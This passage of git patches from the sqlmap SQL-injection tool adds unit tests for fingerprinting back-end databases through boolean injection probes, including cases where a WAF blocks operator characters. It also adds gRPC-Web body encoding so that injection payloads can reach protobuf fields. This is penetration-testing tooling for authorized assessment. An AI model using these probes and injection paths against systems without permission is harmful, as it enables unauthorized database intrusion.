back-end DBMS via its whitelist - and, just as importantly, that anything else (an -unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to -None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing -these signatures through a real boolean injection) is exercised against the live platform, not here. +Operator/typing-dialect DBMS heuristic (lib/utils/dialect.py). Locks in the empirical 8-probe truth +table: each measured signature maps to its expected back-end DBMS, and every other signature (unmeasured +engine, ambiguous, or noise) maps to None so the heuristic never wrong-foots detection. """ import os @@ -25,119 +21,186 @@ from lib.core.data import kb from lib.core.enums import DBMS from lib.utils.dialect import _classify +from lib.utils.dialect import _reachCanary from lib.utils.dialect import dialectCheckDbms from lib.utils.dialect import DIALECT_CANARY +from lib.utils.dialect import DIALECT_PROBES +from lib.utils.dialect import DIALECT_REACH_CANARY +from lib.utils.dialect import _DIALECT_REACH_CHARS -# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS. -# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so -# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint. +# Full 8-probe signature (pow, intdiv, mod, bitor, xeq, bslash, catplus, numcat) measured live -> DBMS. +# Every bit is significant (strict whitelist); a one-bit-off variant is simply not a known fingerprint. MEASURED = { - "mysql": ((True, False, False, True, True), DBMS.MYSQL), - "mysql5": ((True, False, False, True, True), DBMS.MYSQL), - "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible - "postgres": ((False, True, True, True, True), DBMS.PGSQL), - "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<') - "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<') - "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift - "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<' - "sqlite": ((False, False, True, True, True), DBMS.SQLITE), - # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) - "firebird": ((False, False, True, False, False), None), - "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino - "derby": ((False, False, True, False, False), None), - "h2": ((False, False, True, False, False), None), - "trino": ((False, False, True, False, False), None), - "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel - "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel + "mysql": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "mysql5": (False, False, True , True , False, False, True , True , DBMS.MYSQL), + "tidb": (False, False, True , True , False, False, True , True , DBMS.MYSQL), # MySQL wire-compatible + "postgres": (True , True , True , True , False, False, False, False, DBMS.PGSQL), + "opengauss": (True , False, True , True , True , False, False, True , DBMS.PGSQL), # Oracle-compat '^=' + "cockroach": (True , False, True , True , False, False, False, False, DBMS.PGSQL), # decimal division + "cratedb": (True , True , True , True , False, False, False, True , DBMS.PGSQL), + "mssql2019": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # no '<<' + "mssql2022": (False, True , True , True , False, False, True , False, DBMS.MSSQL), # gained '<<' but shift is not a probe -> same signature + "sqlite": (False, True , True , True , False, False, False, False, DBMS.SQLITE), + "clickhouse":(False, False, True , False, False, False, False, True , DBMS.CLICKHOUSE),# no bitwise-OR + "monetdb": (False, True , True , True , False, False, False, True , DBMS.MONETDB), # like MSSQL but no '+' concat + "firebird": (False, True , False, False, True , False, False, True , DBMS.FIREBIRD), # has '^=' + "h2": (False, True , True , False, False, False, False, True , DBMS.H2), + "hsqldb": (False, True , False, False, False, False, True , False, DBMS.HSQLDB), # '+' concat + "derby": (False, True , False, False, False, False, False, False, DBMS.DERBY), + "iris": (False, False, False, False, False, True , False, True , DBMS.CACHE), # '\' int-div (Oracle-like but no '^=') + "trino": (False, True , True , False, False, False, False, False, DBMS.PRESTO), + "oracle": (False, False, False, False, True , False, False, True , DBMS.ORACLE), # '^=' not-equal + "informix": (False, False, False, False, False, False, False, True , DBMS.INFORMIX), + "cubrid": (False, True , True , True , False, False, True , True , DBMS.CUBRID), # like MonetDB but '+' concat + "db2": (False, True , True , True , True , False, False, True , DBMS.DB2), # '^=', no '<<'/'\' + "vertica": (True , False, True , True , False, False, False, True , DBMS.VERTICA), # pg-derived but numeric '||' + "access": (True , False, False, False, False, True , True , False, DBMS.ACCESS), # ACE/JET: '^' exp + '\' int-div + '+' concat, no '%'/'|'/'||' } +# Documentation-derived (vendor operator spec, not live-tested); only where the signature is a free slot. +DOCUMENTED = { + "spanner": (False, False, False, True , False, False, False, False, DBMS.SPANNER), +} + +_PROBE_COUNT = len(DIALECT_PROBES) +_ALL = dict(MEASURED); _ALL.update(DOCUMENTED) + + +def _sig(engine): + return _ALL[engine][:_PROBE_COUNT] + class TestDialectClassification(unittest.TestCase): - def test_measured_engines_map_as_expected(self): - # each engine's exact measured 5-probe signature maps to its expected DBMS (or None) - for engine, (signature, expected) in MEASURED.items(): - self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + def test_probe_count_matches_signature_width(self): + # the MEASURED rows and the doctested matrix must stay the same width as DIALECT_PROBES + self.assertEqual(_PROBE_COUNT, 8) - def test_shift_splits_monetdb_from_mssql(self): - # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe); - # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator. - self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL) - self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB) + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 8-probe signature maps to its expected DBMS + for engine, row in MEASURED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_documented_engines_map_as_expected(self): + # doc-derived rows (not live-tested) still resolve to their expected DBMS via the whitelist + for engine, row in DOCUMENTED.items(): + self.assertEqual(_classify(row[:_PROBE_COUNT]), row[_PROBE_COUNT], "engine %r misclassified" % engine) + + def test_mssql_version_agnostic(self): + # SQL Server 2022 gained '<<' but 'shift' is deliberately NOT a probe (it collided MSSQL 2022 + # with MonetDB); both versions share one signature and '+' concat separates MSSQL from MonetDB. + self.assertEqual(_classify(_sig("mssql2019")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("mssql2022")), DBMS.MSSQL) + self.assertEqual(_classify(_sig("monetdb")), DBMS.MONETDB) + + def test_oracle_iris_split_by_operators(self): + # Oracle and IRIS are near-identical; '^=' (Oracle) vs '\' int-div (IRIS) split them. + self.assertEqual(_classify(_sig("oracle")), DBMS.ORACLE) + self.assertEqual(_classify(_sig("iris")), DBMS.CACHE) + + def test_previously_colliding_engines_now_split(self): + # the 4 late-measured engines collided on smaller probe sets; the 8-probe matrix separates them + # (Informix != IRIS, CUBRID != MonetDB, Vertica != PostgreSQL, DB2 != all-true noise). + self.assertEqual(_classify(_sig("informix")), DBMS.INFORMIX) + self.assertEqual(_classify(_sig("cubrid")), DBMS.CUBRID) + self.assertEqual(_classify(_sig("vertica")), DBMS.VERTICA) + self.assertEqual(_classify(_sig("db2")), DBMS.DB2) def test_whitelist_is_exact_no_false_positive(self): - # only the measured classifying signatures may yield a DBMS; everything else -> None. - classifying = set(sig for sig, exp in MEASURED.values() if exp is not None) - produced = set(exp for _, exp in MEASURED.values() if exp is not None) - self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE}) - # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one - for bits in range(32): - sig = tuple(bool(bits & (1 << i)) for i in range(5)) - result = _classify(sig) + # exhaustively sweep all 256 signatures: a non-None result is allowed ONLY for a known one + classifying = set(row[:_PROBE_COUNT] for row in _ALL.values()) + for bits in range(1 << _PROBE_COUNT): + sig = tuple(bool(bits & (1 << i)) for i in range(_PROBE_COUNT)) if sig not in classifying: - self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result)) + self.assertIsNone(_classify(sig), "unmeasured signature %r wrongly mapped to %r" % (sig, _classify(sig))) def test_all_true_noise_is_rejected(self): - # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive - # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and - # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL). - self.assertIsNone(_classify((True, True, True, True, True))) - - def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not - # distinctive - it must NOT be guessed as any DBMS - self.assertIsNone(_classify((False, False, False, False, False))) - self.assertIsNone(_classify((False, False, False, False, True))) - - def test_pgpow_alone_is_not_enough(self): - # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full - # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise - # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim). - self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL - self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature + # a channel reading EVERY probe true (static/reflected page or false-positive oracle) is + # physically impossible and must NOT be guessed + self.assertIsNone(_classify((True,) * _PROBE_COUNT)) class TestDialectCheckDbmsGuard(unittest.TestCase): - """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, - and None (no prior) whenever the channel is unreliable - the safety contract, including the - canary that turns a trashy false-positive channel into a true negative.""" - - def _run(self, truth): - # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, and + None whenever the channel is unreliable (including the canary that turns a trashy false-positive + channel into a true negative).""" + + def _run(self, probeBits, gate=(True, False, False), blocked=()): + # probeBits: {probe_name: bool}; gate: (2=2, 2=3, canary); blocked: chars a WAF drops + truth = {"2=2": gate[0], "2=3": gate[1], DIALECT_CANARY: gate[2]} + for name, expr in DIALECT_PROBES: + truth[expr] = bool(probeBits.get(name, False)) + # clean channel: all reachability canaries TRUE; a blocked char reads FALSE (combined + per-char) + truth[DIALECT_REACH_CANARY] = not blocked + for char, _ in _DIALECT_REACH_CHARS: + truth[_reachCanary(char)] = char not in blocked orig = dialect.checkBooleanExpression dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) saved = kb.get("injection") try: - return dialectCheckDbms(object()) # the injection arg is only stashed, never inspected here + return dialectCheckDbms(object()) finally: dialect.checkBooleanExpression = orig kb.injection = saved + @staticmethod + def _bits(engine): + return dict(zip((n for n, _ in DIALECT_PROBES), _sig(engine))) + def test_identifies_mysql_on_good_channel(self): - truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, - "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} - self.assertEqual(self._run(truth), DBMS.MYSQL) + self.assertEqual(self._run(self._bits("mysql")), DBMS.MYSQL) def test_identifies_postgres_on_good_channel(self): - truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, - "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True} - self.assertEqual(self._run(truth), DBMS.PGSQL) + self.assertEqual(self._run(self._bits("postgres")), DBMS.PGSQL) + + def test_identifies_oracle_on_good_channel(self): + self.assertEqual(self._run(self._bits("oracle")), DBMS.ORACLE) def test_none_on_blocked_channel(self): # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None - self.assertIsNone(self._run({})) + self.assertIsNone(self._run({}, gate=(False, False, False))) def test_none_on_static_channel(self): - # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None - self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True, - "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True})) + # a static page reads everything True -> the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, True, True))) def test_none_when_canary_reads_true(self): - # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even - # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the - # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS. - truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True, - "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL - self.assertIsNone(self._run(truth)) + # THE canary contract: a channel can look clean (2=2 true, 2=3 false) and yield a DBMS-shaped + # signature, but if the invalid canary also reads TRUE the channel accepts garbage -> None. + self.assertIsNone(self._run(self._bits("mysql"), gate=(True, False, True))) + + +class TestDialectAdversarial(unittest.TestCase): + """WAF that selectively drops operator characters: a dropped probe reads FALSE, silently degrading + the signature. Reachability canaries mark those bits unknown and _classify() abstains unless the + trusted bits are unanimous - so char-blocking can never MISCLASSIFY (only answer correctly or None).""" + + def test_guard_never_misclassifies_under_single_char_block(self): + # for every droppable probe character, no known engine is ever read as a DIFFERENT DBMS + for char, bits in _DIALECT_REACH_CHARS: + for engine, row in _ALL.items(): + expected = row[_PROBE_COUNT] + got = _classify(row[:_PROBE_COUNT], unknown=set(bits)) + self.assertIn(got, (expected, None), "%s under blocked %r -> %s" % (engine, char, got)) + + def test_guard_recovers_when_trusted_bits_are_unique(self): + # MySQL stays uniquely pinned with 'mod' (%) blocked + self.assertEqual(_classify(_sig("mysql"), unknown={2}), DBMS.MYSQL) + + def test_guard_abstains_when_ambiguous(self): + # H2 vs Presto differ only in numcat; blocking '|' (kills numcat) makes them indistinguishable + self.assertIsNone(_classify(_sig("h2"), unknown={7})) + + +class TestDialectCheckDbmsReachability(TestDialectCheckDbmsGuard): + """dialectCheckDbms() end-to-end when a WAF drops a probe character.""" + + def test_blocked_char_abstains_instead_of_misclassifying(self): + # '|' dropped: H2 can no longer be told from Presto -> None (not a wrong guess) + self.assertIsNone(self._run(self._bits("h2"), blocked=("|",))) + + def test_blocked_char_still_identifies_when_unique(self): + # '%' dropped: MySQL stays uniquely identifiable + self.assertEqual(self._run(self._bits("mysql"), blocked=("%",)), DBMS.MYSQL) if __name__ == "__main__": From ab6ce225935db71c422c1f49427abb8db39212cc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 17 Jul 2026 23:38:34 +0200 Subject: [PATCH 769/853] Add experimental gRPC-Web (text) support --- lib/core/agent.py | 4 +- lib/core/dicts.py | 1 + lib/core/enums.py | 1 + lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/core/target.py | 35 ++++- lib/request/connect.py | 20 ++- lib/utils/grpcweb.py | 297 +++++++++++++++++++++++++++++++++++++++++ tests/test_grpcweb.py | 268 +++++++++++++++++++++++++++++++++++++ 9 files changed, 619 insertions(+), 10 deletions(-) create mode 100644 lib/utils/grpcweb.py create mode 100644 tests/test_grpcweb.py diff --git a/lib/core/agent.py b/lib/core/agent.py index 520fc99146d..c7aea8824d7 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -133,7 +133,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = origValue.split(kb.customInjectionMark)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] - elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", origValue) quote = match.group(0) if match else '"' origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) @@ -206,7 +206,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark) - if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: + if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: newValue = "'%s'" % self.addPayloadDelimiters(newValue) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 821e2abefa1..d2a28a94a9f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -385,6 +385,7 @@ POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", + POST_HINT.GRPC_WEB: "application/grpc-web-text", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", diff --git a/lib/core/enums.py b/lib/core/enums.py index e74f9299749..da201af2343 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -146,6 +146,7 @@ class POST_HINT(object): MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" + GRPC_WEB = "gRPC-Web" class HTTPMETHOD(object): GET = "GET" diff --git a/lib/core/option.py b/lib/core/option.py index c808d2b7b71..a6436693278 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2295,6 +2295,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.permissionFlag = False kb.place = None kb.postHint = None + kb.grpcWeb = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 3556556899f..9eb35327acf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.112" +VERSION = "1.10.7.113" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index dd1fd34ae35..2586f7563ad 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -77,6 +77,8 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.core.threads import getCurrentThreadData +from lib.utils.grpcweb import CONTENT_TYPE as grpcWebContentType +from lib.utils.grpcweb import decodeBody as grpcDecodeBody from lib.utils.hashdb import HashDB from thirdparty import six from collections import OrderedDict @@ -112,6 +114,16 @@ def _setRequestParams(): if conf.data is not None: conf.method = conf.method or HTTPMETHOD.POST + # probe (side-effect-free) whether this is a gRPC-Web body; if so, expose its string fields as a + # JSON view so the standard JSON injection path can process it. The skeleton is committed to + # kb.grpcWeb (and the JSON view kept) ONLY on user acceptance below; if declined, the original + # body is restored so it is sent verbatim (never the JSON surrogate) + kb.grpcWeb = None + _grpcOriginalData = conf.data + _grpcView, _grpcSkeleton = grpcDecodeBody(conf.data) + if _grpcView is not None: + conf.data = _grpcView + def process(match, repl): retVal = match.group(0) @@ -145,14 +157,26 @@ def process(match, repl): kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s body. " % conf.method - message += "Do you want to process it? [Y/n/q] " + if _grpcSkeleton: + message = "gRPC-Web text data found in %s body. Do you want to process its detected string fields? [Y/n/q] " % conf.method + else: + message = "JSON data found in %s body. Do you want to process it? [Y/n/q] " % conf.method choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': - kb.postHint = POST_HINT.JSON + kb.postHint = POST_HINT.GRPC_WEB if _grpcSkeleton else POST_HINT.JSON + if _grpcSkeleton: + kb.grpcWeb = _grpcSkeleton # commit only on acceptance + # force a grpc-web-text response (the only kind this cut decodes) by REPLACING any + # existing Accept - a captured 'Accept: */*', or an explicit 'q=0' we cannot honor + for _index, (_header, _value) in enumerate(conf.httpHeaders or []): + if _header.lower() == HTTP_HEADER.ACCEPT.lower(): + conf.httpHeaders[_index] = (_header, grpcWebContentType) + break + else: + conf.httpHeaders.append((HTTP_HEADER.ACCEPT, grpcWebContentType)) if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) @@ -245,6 +269,11 @@ def _attr(m): conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) + # a gRPC-Web body that was NOT accepted as GRPC_WEB (declined prompt) must be sent verbatim, + # not as the JSON surrogate that was temporarily swapped into conf.data for detection + if _grpcSkeleton is not None and kb.postHint != POST_HINT.GRPC_WEB: + conf.data = _grpcOriginalData + if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed pass diff --git a/lib/request/connect.py b/lib/request/connect.py index 77f9f25a74f..b39e456ec91 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -134,6 +134,8 @@ from lib.request.comparison import comparison from lib.request.direct import direct from lib.request.methodrequest import MethodRequest +from lib.utils.grpcweb import decodeResponse as grpcDecodeResponse +from lib.utils.grpcweb import encodeBody as grpcEncodeBody from lib.utils.safe2bin import safecharencode from lib.utils.sqllint import checkSanity from thirdparty import six @@ -569,6 +571,10 @@ class _(dict): logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: + # re-encode a gRPC-Web body from its injected JSON view, fixing length prefixes + if kb.postHint == POST_HINT.GRPC_WEB and post is not None: + post = grpcEncodeBody(post) + post = getBytes(post) # Reference: https://github.com/sqlmapproject/sqlmap/issues/6049 @@ -996,6 +1002,12 @@ class _(dict): singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit + # decode a gRPC-Web response to readable text so the oracle/error/inband paths see the + # message fields + trailer (grpc-message) instead of an opaque base64 blob. Headers are + # passed so a trailers-only error (empty body, grpc-status/message in headers) is still surfaced + if kb.postHint == POST_HINT.GRPC_WEB: + page = grpcDecodeResponse(page, responseHeaders) + threadData.lastPage = page threadData.lastCode = code @@ -1149,7 +1161,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 payload = payload.replace(SAFE_HEX_MARKER, "&#") - elif kb.postHint == POST_HINT.JSON: + elif kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB): payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') @@ -1391,7 +1403,7 @@ def _randomizeParameter(paramString, randomParameter): value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value - if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): json_ = parseJson(post) for name, value in (json_ if isinstance(json_, dict) else {}).items(): if safeVariableNaming(name) != name: @@ -1485,7 +1497,7 @@ def _randomizeParameter(paramString, randomParameter): found = True post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) - elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) if match: quote = match.group(0)[0] @@ -1521,7 +1533,7 @@ def _randomizeParameter(paramString, randomParameter): if not found: if post is not None: - if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", post) if match: quote = match.group(0) diff --git a/lib/utils/grpcweb.py b/lib/utils/grpcweb.py new file mode 100644 index 00000000000..f1a319c18b0 --- /dev/null +++ b/lib/utils/grpcweb.py @@ -0,0 +1,297 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import re +import struct + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves.urllib.parse import unquote + +# gRPC-Web body support (grpc-web-text / base64, unary only). A gRPC-Web message is a length-prefixed +# protobuf frame; grpc-web-text is that frame base64-encoded. Because protobuf is length-prefixed and +# sqlmap injects by appending, the body is decoded to a JSON view of its (heuristically-detected) string +# fields so the existing JSON injection engine handles marking/placement, then re-encoded with corrected +# length prefixes at send time (see connect.py). NOT supported (deliberately not detected, never +# corrupted): binary application/grpc-web+proto, compression (grpc-encoding), and streaming. + +CONTENT_TYPE = "application/grpc-web-text" +CONTENT_TYPE_PROTO = "application/grpc-web-text+proto" # equivalent spelling (message format hint) +_MAX_VARINT_BYTES = 10 # a 64-bit varint is at most 10 bytes +_MAX_FIELD_NUMBER = 0x1fffffff # protobuf maximum field number (2**29 - 1) +_BASE64_QUANTUM_REGEX = re.compile(r"\A(?:[A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)\Z") + +def _b64decode(text): + # strict, py2/py3-safe (no 'validate=' kwarg): reject whitespace/invalid chars, but decode per 4-char + # quantum so INDEPENDENTLY-padded base64 chunks (allowed even for a unary text response) reconstruct + # correctly - a mid-stream padded quantum is fine, arbitrary mid-stream padding chars are not + if isinstance(text, bytes): + text = text.decode("ascii") + if len(text) % 4 != 0: + raise ValueError("invalid base64 length") + out = bytearray() + for offset in range(0, len(text), 4): + quantum = text[offset:offset + 4] + if not _BASE64_QUANTUM_REGEX.match(quantum): + raise ValueError("invalid base64") + out += base64.b64decode(quantum) + return bytes(out) + +def _readVarint(buf, pos): + shift = result = 0 + start = pos + while True: + if pos >= len(buf): + raise ValueError("truncated varint") + b = buf[pos] if isinstance(buf[pos], int) else ord(buf[pos]) + pos += 1 + result |= (b & 0x7f) << shift + if not (b & 0x80): + if result >= (1 << 64): + raise ValueError("varint exceeds 64 bits") + return result, pos + shift += 7 + if pos - start >= _MAX_VARINT_BYTES: + raise ValueError("overlong varint") + +def _writeVarint(n): + out = bytearray() + while True: + b = n & 0x7f + n >>= 7 + out.append(b | 0x80 if n else b) + if not n: + return bytes(out) + +def _readExact(buf, pos, length): + end = pos + length + if length < 0 or end > len(buf): + raise ValueError("truncated protobuf field") + return buf[pos:end], end + +def _decode(buf): + buf = bytes(buf) + pos = 0 + out = [] + while pos < len(buf): + tag, pos = _readVarint(buf, pos) + fn, wt = tag >> 3, tag & 7 + if fn == 0 or fn > _MAX_FIELD_NUMBER: + raise ValueError("invalid field number %d" % fn) + if wt == 0: + val, pos = _readVarint(buf, pos) + elif wt == 1: + val, pos = _readExact(buf, pos, 8) + elif wt == 2: + ln, pos = _readVarint(buf, pos) + val, pos = _readExact(buf, pos, ln) + elif wt == 5: + val, pos = _readExact(buf, pos, 4) + else: + raise ValueError("unsupported wire type %d" % wt) + out.append([fn, wt, val]) + return out + +def _encode(fields): + out = bytearray() + for fn, wt, val in fields: + out += _writeVarint((fn << 3) | wt) + if wt == 0: + out += _writeVarint(val) + elif wt == 2: + val = val if isinstance(val, bytes) else bytes(val) + out += _writeVarint(len(val)) + val + else: + out += val if isinstance(val, bytes) else bytes(val) + return bytes(out) + +def _frame(msg): + return b"\x00" + struct.pack(">I", len(msg)) + msg + +def _unframe(data): + # strict: exactly one uncompressed data frame (flag 0x00), nothing trailing (unary; no + # compression/streaming/reserved flag bits) + if len(data) < 5: + raise ValueError("truncated gRPC-Web frame") + flag = data[0] if isinstance(data[0], int) else ord(data[0]) + if flag != 0x00: + raise ValueError("unsupported request frame flags 0x%02x" % flag) + length = struct.unpack(">I", data[1:5])[0] + if len(data) != 5 + length: + raise ValueError("incomplete/oversized gRPC-Web frame") + return data[5:5 + length] + +def _isTextContentType(value): + return (value or "").split(";", 1)[0].strip().lower() in (CONTENT_TYPE, CONTENT_TYPE_PROTO) + +def acceptsTextContentType(value): + # True if a (possibly comma-separated) Accept header already negotiates a grpc-web-text response + return any(_isTextContentType(_) for _ in (value or "").split(",")) + +def _stringFields(fields): + # Descriptorless: wire type 2 is string / bytes / embedded-message / packed - indistinguishable + # without the .proto. Offer every printable-UTF-8 length-delimited field as a candidate; do NOT try + # to exclude values that merely also parse as protobuf (ordinary strings like "A12345678"/"M1234" do, + # so excluding them silently drops real injection points). Non-selected fields stay in the skeleton + # untouched, so a mis-picked embedded message just fails to inject and is skipped - the safe failure. + retVal = [] + for index, (fn, wt, val) in enumerate(fields): + if wt != 2: + continue + try: + value = bytes(val).decode("utf-8") + except Exception: + continue + if all(char in "\t\n" or ord(char) > 31 for char in value): + retVal.append((index, fn, value)) + return retVal + +def _requestContentType(): + for header, value in (conf.httpHeaders or []): + if header.lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return value + return "" + +def _headerValue(headers, key): + if not headers: + return None + key = key.lower() + try: + items = headers.items() + except AttributeError: + items = 